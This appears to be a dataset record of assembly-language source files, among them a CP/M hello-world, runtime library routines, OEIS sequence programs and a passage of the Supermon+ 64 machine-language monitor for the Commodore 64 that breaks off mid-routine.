hexsha
stringlengths
40
40
size
int64
6
1.05M
ext
stringclasses
3 values
lang
stringclasses
1 value
max_stars_repo_path
stringlengths
4
232
max_stars_repo_name
stringlengths
7
106
max_stars_repo_head_hexsha
stringlengths
40
40
max_stars_repo_licenses
listlengths
1
7
max_stars_count
int64
1
33.5k
max_stars_repo_stars_event_min_datetime
stringlengths
24
24
max_stars_repo_stars_event_max_datetime
stringlengths
24
24
max_issues_repo_path
stringlengths
4
232
max_issues_repo_name
stringlengths
7
106
max_issues_repo_head_hexsha
stringlengths
40
40
max_issues_repo_licenses
listlengths
1
7
max_issues_count
int64
1
37.5k
max_issues_repo_issues_event_min_datetime
stringlengths
24
24
max_issues_repo_issues_event_max_datetime
stringlengths
24
24
max_forks_repo_path
stringlengths
4
232
max_forks_repo_name
stringlengths
7
106
max_forks_repo_head_hexsha
stringlengths
40
40
max_forks_repo_licenses
listlengths
1
7
max_forks_count
int64
1
12.6k
max_forks_repo_forks_event_min_datetime
stringlengths
24
24
max_forks_repo_forks_event_max_datetime
stringlengths
24
24
content
stringlengths
6
1.05M
avg_line_length
float64
1.16
19.7k
max_line_length
int64
2
938k
alphanum_fraction
float64
0
1
443ea8a51277868a09baa449eb2fc52a273e9779
342
asm
Assembly
asm/greet.asm
pamoroso/suite8080
7811d427e4871c5ecc74c0d139bfae66a97424ea
[ "MIT" ]
13
2021-09-12T20:13:58.000Z
2022-03-01T02:19:14.000Z
asm/greet.asm
pamoroso/suite8080
7811d427e4871c5ecc74c0d139bfae66a97424ea
[ "MIT" ]
null
null
null
asm/greet.asm
pamoroso/suite8080
7811d427e4871c5ecc74c0d139bfae66a97424ea
[ "MIT" ]
2
2021-11-05T08:15:59.000Z
2021-11-05T11:01:54.000Z
; Hello world for CP/M org 100h bdos equ 0005h ; BDOS entry point wstrf equ 09h ; BDOS function: write string mvi c, wstrf lxi d, message call bdos ret message: db 'Greetings from Suite8080.$' end
19
65
0.432749
44729882d60d63e9c9c6a74eaa481dba19498461
571
asm
Assembly
libsrc/_DEVELOPMENT/l/sdcc/__sdcc_exit_div_64_callee.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
640
2017-01-14T23:33:45.000Z
2022-03-30T11:28:42.000Z
libsrc/_DEVELOPMENT/l/sdcc/__sdcc_exit_div_64_callee.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
1,600
2017-01-15T16:12:02.000Z
2022-03-31T12:11:12.000Z
libsrc/_DEVELOPMENT/l/sdcc/__sdcc_exit_div_64_callee.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
215
2017-01-17T10:43:03.000Z
2022-03-23T17:25:02.000Z
SECTION code_clib SECTION code_l_sdcc PUBLIC __sdcc_exit_div_64_callee __sdcc_exit_div_64_callee: ex af,af' ld e,(ix-2) ld d,(ix-1) ; de = quotient * push ix pop hl ; hl = & quotient ld bc,8 ldir ; copy quotient to result pop ix ; restore ix pop de ; return address ld hl,18 add hl,sp ld sp,hl ; clear stack ex af,af' ex de,hl ; hl = return address jp (hl)
18.419355
56
0.455342
ed1a289245d03a8274a9d442a0fe9eaa42d27db6
4,313
asm
Assembly
45/runtime/rt/iocons.asm
minblock/msdos
479ffd237d9bb7cc83cb06361db2c4ef42dfbac0
[ "Apache-2.0" ]
null
null
null
45/runtime/rt/iocons.asm
minblock/msdos
479ffd237d9bb7cc83cb06361db2c4ef42dfbac0
[ "Apache-2.0" ]
null
null
null
45/runtime/rt/iocons.asm
minblock/msdos
479ffd237d9bb7cc83cb06361db2c4ef42dfbac0
[ "Apache-2.0" ]
null
null
null
TITLE IOCONS - Machine Independent CONS: Device Support ;*** ; IOCONS - Machine Independent CONS: Device Support ; ; Copyright <C> 1986, Microsoft Corporation ; ;Purpose: ; Contains the code to drive the machine independant "CONS:" device. Under DOS ; 2/3, we use direct console I/O to output data, and under DOS 5, VIO calls. ; This is a redirectable output only device which DOES get run through device ; drivers for escape sequence detection. ; ;****************************************************************************** INCLUDE switch.inc INCLUDE rmacros.inc USESEG CN_TEXT USESEG _DATA INCLUDE seg.inc INCLUDE idmac.inc INCLUDE baslibma.inc INCLUDE devdef.inc INCLUDE rtps.inc ; constants shared with QBI sBegin CN_TEXT assumes CS,CN_TEXT externNP B$ERR_BFM externNP B$LHDALC_CPCT externNP B$OPEN_DEV externNP B$CON_SOUT PAGE SUBTTL CONS (Raw-CRT output Dispatch Table and Routines) ; equates to make dspnam generate tables that dispatch directly to ; the error routines. CON_EOF EQU B$ERR_BFM CON_LOC EQU B$ERR_BFM CON_LOF EQU B$ERR_BFM CON_RANDIO EQU B$ERR_BFM CON_BAKC EQU B$ERR_BFM CON_SINP EQU B$ERR_BFM CON_BLKIN EQU B$ERR_BFM CON_BLKOUT EQU B$ERR_BFM ; Device Independent Interface DSPMAC MACRO func DW CON_&func ;;Define Dispatch Table for Specific Device ENDM ;Console Dispatch Table ;must not be at CS:0 ; labelNP <PUBLIC,B$D_CONS> DSPNAM ;make dispatch table (from devdef) ;*** ;CON_OPEN - perform any device dependent open functions. ; ;Purpose: ; Open the CONS: device for output. ; ; ;Entry: ; [AL]= device id ; 0 if default device, ; 1..n for Disk A:, B:, ... ; -1..-n for non-disk devices ; [BX] = file number (0..n) ; [CX] = random record size if [FILMOD] = random (ignored) ; [DI] = device offset (2=SCND, 4=SCRN, etc.) ; [FILMOD] = file mode ; MD.SQI = 1 ;sequential input ; MD.SQO = 2 ;sequential output ; MD.RND = 3 ;random ; MD.APP = 4 ;append ;Exit: ; [SI] points to new FDB ; FDB is linked into FDB chain with all standard fields initialized. ;Uses: ; AX,DX ; ;Exceptions: ; None, though exits through B$OPEN_DEV which can generate errors ;****************************************************************************** cProc CON_OPEN,<NEAR> cBegin MOV AH,MD_SQO ; allow open for output only MOV DL,255D ; initial file width=255 JMP B$OPEN_DEV ; allocate FDB with no buffer ; and return cEnd <nogen> ;*** ;CON_CLOSE - Console file close ;[6-30-83 5.40 pbs] ; ;Purpose: ; Close the CONS: device and deallocate its file block. ; ;Entry/Exit/Uses/Exceptions: ; Same as B$LHDALC_CPCT ;**** CON_CLOSE EQU B$LHDALC_CPCT ; jump directly to deallocate file block ; compacts heap after deallocation ;*** ;CON_GPOS - return current file position. ; ;Purpose: ; Returns the current column position of CONS:. Since CONS: is a ; stream device without a width, 0 is returned instead. ; ;Entry: ; SI points to File-Data-Block. ; ;Exit: ; [AH] = current file column. (0-relative) ; ;Uses: ; SI is an entry value ; ;Preserves: ; AL, BX, CX, DX ; ;Exceptions: ; None. ;**** cProc CON_GPOS,<NEAR> cBegin MOV AH,0 cEnd <nogen> ;fall through to return ;*** ;CON_DWID, CON_WIDTH - Set CONS: width ; ;Purpose: ; This function fullfills the requirement that all devices ; have a routine to set their width (so that the dispatch ; table does not have holes. Since CONS: has no concept ; as width, these routines just return. ;**** labelNP <CON_DWID> ; no action necessary for CONS: cProc CON_WIDTH,<NEAR> ;so just return cBegin cEnd ;*** ;CON_GWID - get device width for CONS: ; ;Purpose: ; Return the width of the CONS: device. Since CONS: does not ; have a width, this routine will return 255 (= infinite width). ; ;Entry: ; SI - Pointer to File Data Block ; ;Exit: ; [AH] = device width = 255 ; ;Uses: ; SI is an entry condition. ; ;Preserves: ; BX, CX, DX ; ;Exceptions: ; None. ;**** cProc CON_GWID,<NEAR> cBegin MOV AH,255 ; infinite width cEnd ;*** ;CON_SOUT - Write one byte to the console. ; ;Purpose: ; This routine will send a single byte to the CON: device. This ; is a redirectable output device. ; ;Entry: ; AL = Byte to output ; ;Exit: ; None. ; ;Uses: ; Per Convention ; ;Preserves: ; AX,BX,CX,DX ; ;Exceptions: ; None. ;**** CON_SOUT EQU B$CON_SOUT sEnd CN_TEXT END
20.735577
79
0.67795
9fdb7614a9d4fd060e82e6c4cdf3f079f98968fc
321
asm
Assembly
programs/oeis/033/A033573.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/033/A033573.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/033/A033573.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A033573: a(n) = (2*n+1)*(9*n+1). ; 1,30,95,196,333,506,715,960,1241,1558,1911,2300,2725,3186,3683,4216,4785,5390,6031,6708,7421,8170,8955,9776,10633,11526,12455,13420,14421,15458,16531,17640,18785,19966,21183,22436,23725,25050,26411,27808,29241,30710,32215,33756,35333 mov $1,18 mul $1,$0 add $1,11 mul $1,$0 add $1,1
35.666667
235
0.719626
5c078fd23856250858da7e528ddce8ef2f1383ee
757
asm
Assembly
programs/oeis/019/A019489.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/019/A019489.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/019/A019489.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A019489: Define the sequence T(a(0),a(1)) by a(n+2) is the greatest integer such that a(n+2)/a(n+1) < a(n+1)/a(n) for n >= 0. This is T(3,7). ; 3,7,16,36,80,177,391,863,1904,4200,9264,20433,45067,99399,219232,483532,1066464,2352161,5187855,11442175,25236512,55660880,122763936,270764385,597189651,1317143239,2905050864,6407291380,14131726000,31168502865,68744297111,151620320223,334409143312,737562583736,1626745487696,3587900118705,7913362821147,17453471129991,38494842378688,84903047578524,187259566287040,413013974952769,910930997484063,2009121561255167,4431257097463104 add $0,2 cal $0,232059 ; Number of n X 2 0..2 arrays with every 0 next to a 1 and every 1 next to a 2 horizontally or vertically, with no adjacent values equal. mov $1,$0 div $1,4
94.625
431
0.792602
11e89c4b38336ff8c75bb6d488a06893af04f78d
662
asm
Assembly
oeis/037/A037772.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/037/A037772.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/037/A037772.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A037772: Base 4 digits are, in order, the first n terms of the periodic sequence with initial period 3,1,0,2. ; 3,13,52,210,843,3373,13492,53970,215883,863533,3454132,13816530,55266123,221064493,884257972,3537031890,14148127563,56592510253,226370041012,905480164050,3621920656203,14487682624813,57950730499252,231802921997010,927211687988043,3708846751952173,14835387007808692,59341548031234770,237366192124939083,949464768499756333,3797859073999025332,15191436295996101330,60765745183984405323,243062980735937621293,972251922943750485172,3889007691775001940690,15556030767100007762763,62224123068400031051053 mov $1,4 pow $1,$0 mul $1,56 div $1,17 mov $0,$1
73.555556
499
0.862538
4c89005ec5b4900c941c56bec171b46a7f2fb75c
1,638
asm
Assembly
programs/oeis/256/A256321.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/256/A256321.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/256/A256321.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A256321: Number of partitions of 5n into exactly 3 parts. ; 0,2,8,19,33,52,75,102,133,169,208,252,300,352,408,469,533,602,675,752,833,919,1008,1102,1200,1302,1408,1519,1633,1752,1875,2002,2133,2269,2408,2552,2700,2852,3008,3169,3333,3502,3675,3852,4033,4219,4408,4602,4800,5002,5208,5419,5633,5852,6075,6302,6533,6769,7008,7252,7500,7752,8008,8269,8533,8802,9075,9352,9633,9919,10208,10502,10800,11102,11408,11719,12033,12352,12675,13002,13333,13669,14008,14352,14700,15052,15408,15769,16133,16502,16875,17252,17633,18019,18408,18802,19200,19602,20008,20419,20833,21252,21675,22102,22533,22969,23408,23852,24300,24752,25208,25669,26133,26602,27075,27552,28033,28519,29008,29502,30000,30502,31008,31519,32033,32552,33075,33602,34133,34669,35208,35752,36300,36852,37408,37969,38533,39102,39675,40252,40833,41419,42008,42602,43200,43802,44408,45019,45633,46252,46875,47502,48133,48769,49408,50052,50700,51352,52008,52669,53333,54002,54675,55352,56033,56719,57408,58102,58800,59502,60208,60919,61633,62352,63075,63802,64533,65269,66008,66752,67500,68252,69008,69769,70533,71302,72075,72852,73633,74419,75208,76002,76800,77602,78408,79219,80033,80852,81675,82502,83333,84169,85008,85852,86700,87552,88408,89269,90133,91002,91875,92752,93633,94519,95408,96302,97200,98102,99008,99919,100833,101752,102675,103602,104533,105469,106408,107352,108300,109252,110208,111169,112133,113102,114075,115052,116033,117019,118008,119002,120000,121002,122008,123019,124033,125052,126075,127102,128133,129169 pow $0,2 mov $2,$0 mov $0,4 mov $3,$2 add $3,6 mov $4,-25 lpb $0,1 mov $0,$5 mov $1,3 mul $3,$4 div $3,12 lpe sub $1,2 sub $1,$3 sub $1,13
86.210526
1,429
0.793651
45f984abd3683e1753e76016cec2d8193f7a4f37
433
asm
Assembly
programs/oeis/321/A321789.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/321/A321789.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/321/A321789.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A321789: Factorials of terms of Pascal's triangle by row. ; 1,1,1,1,2,1,1,6,6,1,1,24,720,24,1,1,120,3628800,3628800,120,1,1,720,1307674368000,2432902008176640000,1307674368000,720,1,1,5040,51090942171709440000 seq $0,7318 ; Pascal's triangle read by rows: C(n,k) = binomial(n,k) = n!/(k!*(n-k)!), 0 <= k <= n. seq $0,142 ; Factorial numbers: n! = 1*2*3*4*...*n (order of symmetric group S_n, number of permutations of n letters).
72.166667
151
0.69515
1b81428476313bace4896dbcbedf8a6692bf80fb
714
asm
Assembly
oeis/101/A101496.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/101/A101496.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/101/A101496.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A101496: Expansion of (1-x^2)/(1-x-x^2+x^3+x^4). ; Submitted by Christian Krause ; 1,1,1,1,0,-1,-3,-5,-7,-8,-7,-3,5,17,32,47,57,55,33,-16,-95,-199,-311,-399,-416,-305,-11,499,1209,2024,2745,3061,2573,865,-2368,-7137,-12943,-18577,-22015,-20512,-11007,9073,40593,81185,123712,155231,157165,107499,-14279,-219176,-498119,-810515,-1075179,-1168399,-934944,-217649,1090985,2976679,5220257,7323600,8476193,7602857,3535193,-4661743,-17205600,-33005393,-49084443,-60222493,-59095943,-37228600,12982393,95072229,204379165,323697601,420022144,444268351,336213729,36762335,-491314431 mov $1,1 lpb $0 sub $0,1 add $1,$3 sub $3,$4 mov $4,$2 mov $2,$3 mov $3,$5 add $4,$1 add $4,$2 add $5,$2 lpe mov $0,$1
39.666667
492
0.687675
5f238223b1946170600814514a8bc73e4077e31f
761
asm
Assembly
oeis/064/A064326.asm
loda-lang/loda-programs
773fe0baed2ca30c72b7faf16c0801749f2e6f9a
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/064/A064326.asm
loda-lang/loda-programs
773fe0baed2ca30c72b7faf16c0801749f2e6f9a
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/064/A064326.asm
loda-lang/loda-programs
773fe0baed2ca30c72b7faf16c0801749f2e6f9a
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A064326: Generalized Catalan numbers C(-4; n). ; Submitted by Jamie Morken(w2) ; 1,1,-3,25,-251,2817,-33843,425769,-5537835,73865617,-1004862179,13888533561,-194475377243,2752994728225,-39333541106835,566464908534345,-8214515461250955,119845125957958065,-1757855400878129475,25906894146115000665,-383443906519878272955,5697172601025528974145,-84943589725434781397235,1270513905554918313027945,-19058436571389095377005291,286648904547323369680346577,-4321922219465445556535202723,65310979117327776593592181369,-989021880960736125355469781275,15006229892257809309295899689313 mov $1,1 mov $3,$0 lpb $3 mov $0,$1 mul $0,4 mul $1,2 sub $2,2 sub $3,1 mul $1,$3 add $2,1 div $1,$2 add $4,$1 sub $1,$0 mul $1,2 lpe mov $0,$4 mul $0,2 add $0,1
33.086957
494
0.781866
5165f3237a40e8ece1e7c3aeb8daa41def024f6e
313
asm
Assembly
programs/oeis/118/A118136.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/118/A118136.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/118/A118136.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A118136: 2 + (2*n! mod n+1). ; 2,2,3,2,5,2,7,2,2,2,11,2,13,2,2,2,17,2,19,2,2,2,23,2,2,2,2,2,29,2,31,2,2,2,2,2,37,2,2,2,41,2,43,2,2,2,47,2,2,2,2,2,53,2,2,2,2,2,59,2,61,2,2,2,2,2,67,2,2,2,71,2,73,2,2,2,2,2,79,2,2,2,83,2,2,2,2,2,89,2,2,2,2,2,2,2 cal $0,166260 ; a(n) = A089026(n) - 1. trn $0,1 mov $1,$0 add $1,2
39.125
213
0.533546
edfda48d22853161ad2e53b3866664f542bd28ac
70,889
asm
Assembly
Kernal64/asm/examples/supermon64.asm
abbruzze/kernal64
d24245e029d431130b14ef2d86eb52703affe11b
[ "MIT" ]
92
2015-01-07T00:02:59.000Z
2022-02-24T12:15:44.000Z
Kernal64/asm/examples/supermon64.asm
abbruzze/kernal64
d24245e029d431130b14ef2d86eb52703affe11b
[ "MIT" ]
14
2016-09-07T00:57:57.000Z
2022-02-16T11:50:41.000Z
Kernal64/asm/examples/supermon64.asm
abbruzze/kernal64
d24245e029d431130b14ef2d86eb52703affe11b
[ "MIT" ]
10
2015-05-09T22:28:44.000Z
2022-01-03T01:43:18.000Z
// =========================================================================== //---------------------------------------------------------------------------- //---------------------------------------------------------------------------- // Taken from https://github.com/jblang/supermon64 and adapted for k64ass //---------------------------------------------------------------------------- //---------------------------------------------------------------------------- ; ******************************** ; * SUPERMON+ 64 JIM BUTTERFIELD * ; * V1.2 AUGUST 20 1985 * ; ******************************** ; Reformatted and annotated in late 2016/early 2017 by J.B. Langston. ; ; I've made the minimum necessary changes to this code to get it to assemble ; with 64tass. Specifically, I changed the following directives from PAL ; that 64tass doesn't support: ; - .ASC => .text ; - *=*+X => .FILL X ; ; Aside from this, I have adopted a strict whitespace and comments only ; policy so that I preserve code exactly as Jim Butterfield wrote it. ; ; I think my comments are correct but I don't guarantee I haven't made ; any errors. Sadly Jim isn't around to ask anymore. If you spot any ; misunderstanings or errors in my comments, please report them. ; ----------------------------------------------------------------------------- ; temporary pointers val TMP0 = $C1 ; used to return input, often holds end address val TMP2 = $C3 ; usually holds start address ; ----------------------------------------------------------------------------- ; kernal variables val SATUS = $90 ; kernal i/o status word val FNLEN = $B7 ; length of current filename val SADD = $B9 ; current secondary address (official name SA) val FA = $BA ; current device number val FNADR = $BB ; pointer to current filename val NDX = $C6 ; number of characters in keyboard buffer val KEYD = $0277 ; keyboard buffer val BKVEC = $0316 ; BRK instruction vector (official name CBINV) *= $0100 virtual "VARIABLES" ; store variables in tape error buffer ; ----------------------------------------------------------------------------- ; variables ACMD: .byte 0 ; addressing command LENGTH: .byte 0 ; length of operand MNEMW: .fill 3 ; 3 letter mnemonic buffer SAVX: .byte 0 ; 1 byte temp storage, often to save X register OPCODE: .byte 0 ; current opcode for assembler/disassembler UPFLG: .byte 0 ; flag: count up (bit 7 clear) or down (bit 7 set) DIGCNT: .byte 0 ; digit count INDIG: .byte 0 ; numeric value of single digit NUMBIT: .byte 0 ; numeric base of input STASH: .fill 2 ; 2-byte temp storage U0AA0: .fill 10 ; work buffer U0AAE: ; end of work buffer STAGE: .fill 30 ; staging buffer for filename, search, etc. ESTAGE: ; end of staging buffer *= $0200 virtual "BUFFER" ; store more variables in basic line editor buffer INBUFF: .fill 40 ; 40-character input buffer ENDIN: ; end of input buffer ; the next 7 locations are used to store the registers when ; entering the monitor and restore them when exiting. PCH: .byte 0 ; program counter high byte PCL: .byte 0 ; program counter low byte SR: .byte 0 ; status register ACC: .byte 0 ; accumulator XR: .byte 0 ; X register YR: .byte 0 ; Y register SP: .byte 0 ; stack pointer STORE: .byte 0,0 ; 2-byte temp storage CHRPNT: .byte 0 ; current position in input buffer SAVY: .byte 0 ; temp storage, often to save Y register U9F: .byte 0 ; index into assembler work buffer ; ----------------------------------------------------------------------------- ; kernal entry points val SETMSG = $FF90 ; set kernel message control flag val SECOND = $FF93 ; set secondary address after LISTEN val TKSA = $FF96 ; send secondary address after TALK val LISTEN = $FFB1 ; command serial bus device to LISTEN val TALK = $FFB4 ; command serial bus device to TALK val SETLFS = $FFBA ; set logical file parameters val SETNAM = $FFBD ; set filename val ACPTR = $FFA5 ; input byte from serial bus val CIOUT = $FFA8 ; output byte to serial bus val UNTLK = $FFAB ; command serial bus device to UNTALK val UNLSN = $FFAE ; command serial bus device to UNLISTEN val CHKIN = $FFC6 ; define input channel val CLRCHN = $FFCC ; restore default devices val INPUT = $FFCF ; input a character (official name CHRIN) val CHROUT = $FFD2 ; output a character val LOAD = $FFD5 ; load from device val SAVE = $FFD8 ; save to device val STOP = $FFE1 ; check the STOP key val GETIN = $FFE4 ; get a character ; ----------------------------------------------------------------------------- ; set up origin *= $c000 "MAIN" ; ----------------------------------------------------------------------------- ; initial entry point SUPER: LDY #MSG4-MSGBAS ; display "..SYS " JSR SNDMSG LDA SUPAD ; store entry point address in tmp0 STA TMP0 LDA SUPAD+1 STA TMP0+1 JSR CVTDEC ; convert address to decimal LDA #0 LDX #6 LDY #3 JSR NMPRNT ; print entry point address JSR CRLF LDA LINKAD ; set BRK vector STA BKVEC LDA LINKAD+1 STA BKVEC+1 LDA #$80 ; disable kernel control messages JSR SETMSG ; and enable error messages BRK ; ----------------------------------------------------------------------------- ; BRK handler BREAK: LDX #$05 ; pull registers off the stack BSTACK: PLA ; order: Y,X,A,SR,PCL,PCH STA PCH,X ; store in memory DEX BPL BSTACK CLD ; disable bcd mode TSX ; store stack pointer in memory STX SP CLI ; enable interupts ; ----------------------------------------------------------------------------- ; display registers [R] DSPLYR: LDY #MSG2-MSGBAS ; display headers JSR SNDCLR LDA #$3B ; prefix registers with "; " to allow editing JSR CHROUT LDA #$20 JSR CHROUT LDA PCH ; print 2-byte program counter JSR WRTWO LDY #1 ; start 1 byte after PC high byte DISJ: LDA PCH,Y ; loop through rest of the registers JSR WRBYTE ; print 1-byte register value INY CPY #7 ; there are a total of 5 registers to print BCC DISJ ; ----------------------------------------------------------------------------- ; main loop STRT: JSR CRLF ; new line LDX #0 ; point at start of input buffer STX CHRPNT SMOVE: JSR INPUT ; CHRIN kernal call to input a character STA INBUFF,X ; store in input buffer INX CPX #ENDIN-INBUFF ; error if buffer is full BCS ERROR CMP #$0D ; keep reading until CR BNE SMOVE LDA #0 ; null-terminate input buffer STA INBUFF-1,X ; (replacing the CR) ST1: JSR GETCHR ; get a character from the buffer BEQ STRT ; start over if buffer is empty CMP #$20 ; skip leading spaces BEQ ST1 S0: LDX #KEYTOP-KEYW ; loop through valid command characters S1: CMP KEYW,X ; see if input character matches BEQ S2 ; command matched, dispatch it DEX ; no match, check next command BPL S1 ; keep trying until we've checked them all ; then fall through to error handler ; ----------------------------------------------------------------------------- ; handle error ERROR: LDY #MSG3-MSGBAS ; display "?" to indicate error and go to new line JSR SNDMSG JMP STRT ; back to main loop ; ----------------------------------------------------------------------------- ; dispatch command S2: CPX #$13 ; last 3 commands in table are load/save/validate BCS LSV ; which are handled by the same subroutine CPX #$0F ; next 4 commands are base conversions BCS CNVLNK ; which are handled by the same subroutine TXA ; remaining commands dispatch through vector table ASL ; multiply index of command by 2 TAX ; since table contains 2-byte addresses LDA KADDR+1,X ; push address from vector table onto stack PHA ; so that the RTS from GETPAR will jump there LDA KADDR,X PHA JMP GETPAR ; get the first parameter for the command LSV: STA SAVY ; handle load/save/validate JMP LD CNVLNK: JMP CONVRT ; handle base conversion ; ----------------------------------------------------------------------------- ; exit monitor [X] EXIT: JMP ($A002) ; jump to warm-start vector to reinitialize BASIC ; ----------------------------------------------------------------------------- ; display memory [M] DSPLYM: BCS DSPM11 ; start from previous end addr if no address given JSR COPY12 ; save start address in TMP2 JSR GETPAR ; get end address in TMP0 BCC DSMNEW ; did user specify one? DSPM11: LDA #$0B ; if not, show 12 lines by default STA TMP0 BNE DSPBYT ; always true, but BNE uses 1 byte less than JMP DSMNEW: JSR SUB12 ; end addr given, calc bytes between start and end BCC MERROR ; error if start is after end LDX #3 ; divide by 8 (shift right 3 times) DSPM01: LSR TMP0+1 ROR TMP0 DEX BNE DSPM01 DSPBYT: JSR STOP ; check for stop key BEQ DSPMX ; exit early if pressed JSR DISPMEM ; display 1 line containing 8 bytes LDA #8 ; increase start address by 8 bytes JSR BUMPAD2 JSR SUBA1 ; decrement line counter BCS DSPBYT ; show another line until it's < 0 DSPMX: JMP STRT ; back to main loop MERROR: JMP ERROR ; handle error ; ----------------------------------------------------------------------------- ; alter registers [;] ALTR: JSR COPY1P ; store first parameter in PC LDY #0 ; init counter ALTR1: JSR GETPAR ; get value for next register BCS ALTRX ; exit early if no more values given LDA TMP0 ; store in memory, offset from SR STA SR,Y ; these locations will be transferred to the INY ; actual registers before exiting the monitor CPY #$05 ; have we updated all 5 yet? BCC ALTR1 ; if not, get next ALTRX: JMP STRT ; back to main loop ; ----------------------------------------------------------------------------- ; alter memory [>] ALTM: BCS ALTMX ; exit if no parameter provided JSR COPY12 ; copy parameter to start address LDY #0 ALTM1: JSR GETPAR ; get value for next byte of memory BCS ALTMX ; if none given, exit early LDA TMP0 ; poke value into memory at start address + Y STA (TMP2),Y INY ; next byte CPY #8 ; have we read 8 bytes yet? BCC ALTM1 ; if not, read the next one ALTMX: LDA #$91 ; move cursor up JSR CHROUT JSR DISPMEM ; re-display line to make ascii match hex JMP STRT ; back to main loop ; ----------------------------------------------------------------------------- ; goto (run) [G] GOTO: LDX SP ; load stack pointer from memory TXS ; save in SP register GOTO2: JSR COPY1P ; copy provided address to PC SEI ; disable interrupts LDA PCH ; push PC high byte on stack PHA LDA PCL ; push PC low byte on stack PHA LDA SR ; push status byte on stack PHA LDA ACC ; load accumulator from memory LDX XR ; load X from memory LDY YR ; load Y from memory RTI ; return from interrupt (pops PC and SR) ; jump to subroutine [J] JSUB: LDX SP ; load stack pointer from memory TXS ; save value in SP register JSR GOTO2 ; same as goto command STY YR ; save Y to memory STX XR ; save X to memory STA ACC ; save accumulator to memory PHP ; push processor status on stack PLA ; pull processor status into A STA SR ; save processor status to memory JMP DSPLYR ; display registers ; ----------------------------------------------------------------------------- ; display 8 bytes of memory DISPMEM: JSR CRLF ; new line LDA #">" ; prefix > so memory can be edited in place JSR CHROUT JSR SHOWAD ; show address of first byte on line LDY #0 BEQ DMEMGO ; SHOWAD already printed a space after the address DMEMLP: JSR SPACE ; print space between bytes DMEMGO: LDA (TMP2),Y ; load byte from start address + Y JSR WRTWO ; output hex digits for byte INY ; next byte CPY #8 ; have we output 8 bytes yet? BCC DMEMLP ; if not, output next byte LDY #MSG5-MSGBAS ; if so, output : and turn on reverse video JSR SNDMSG ; before displaying ascii representation LDY #0 ; back to first byte in line DCHAR: LDA (TMP2),Y ; load byte at start address + Y TAX ; stash in X AND #$BF ; clear 6th bit CMP #$22 ; is it a quote (")? BEQ DDOT ; if so, print . instead TXA ; if not, restore character AND #$7F ; clear top bit CMP #$20 ; is it a printable character (>= $20)? TXA ; restore character BCS DCHROK ; if printable, output character DDOT: LDA #$2E ; if not, output '.' instaed DCHROK: JSR CHROUT INY ; next byte CPY #8 ; have we output 8 bytes yet? BCC DCHAR ; if not, output next byte RTS ; ----------------------------------------------------------------------------- ; compare memory [C] COMPAR: LDA #0 ; bit 7 clear signals compare .byte $2C ; absolute BIT opcode consumes next word (LDA #$80) ; transfer memory [T] TRANS: LDA #$80 ; bit 7 set signals transfer STA SAVY ; save compare/transfer flag in SAVY LDA #0 ; assume we're counting up (bit 7 clear) STA UPFLG ; save direction flag JSR GETDIF ; get two addresses and calculate difference ; TMP2 = source start ; STASH = 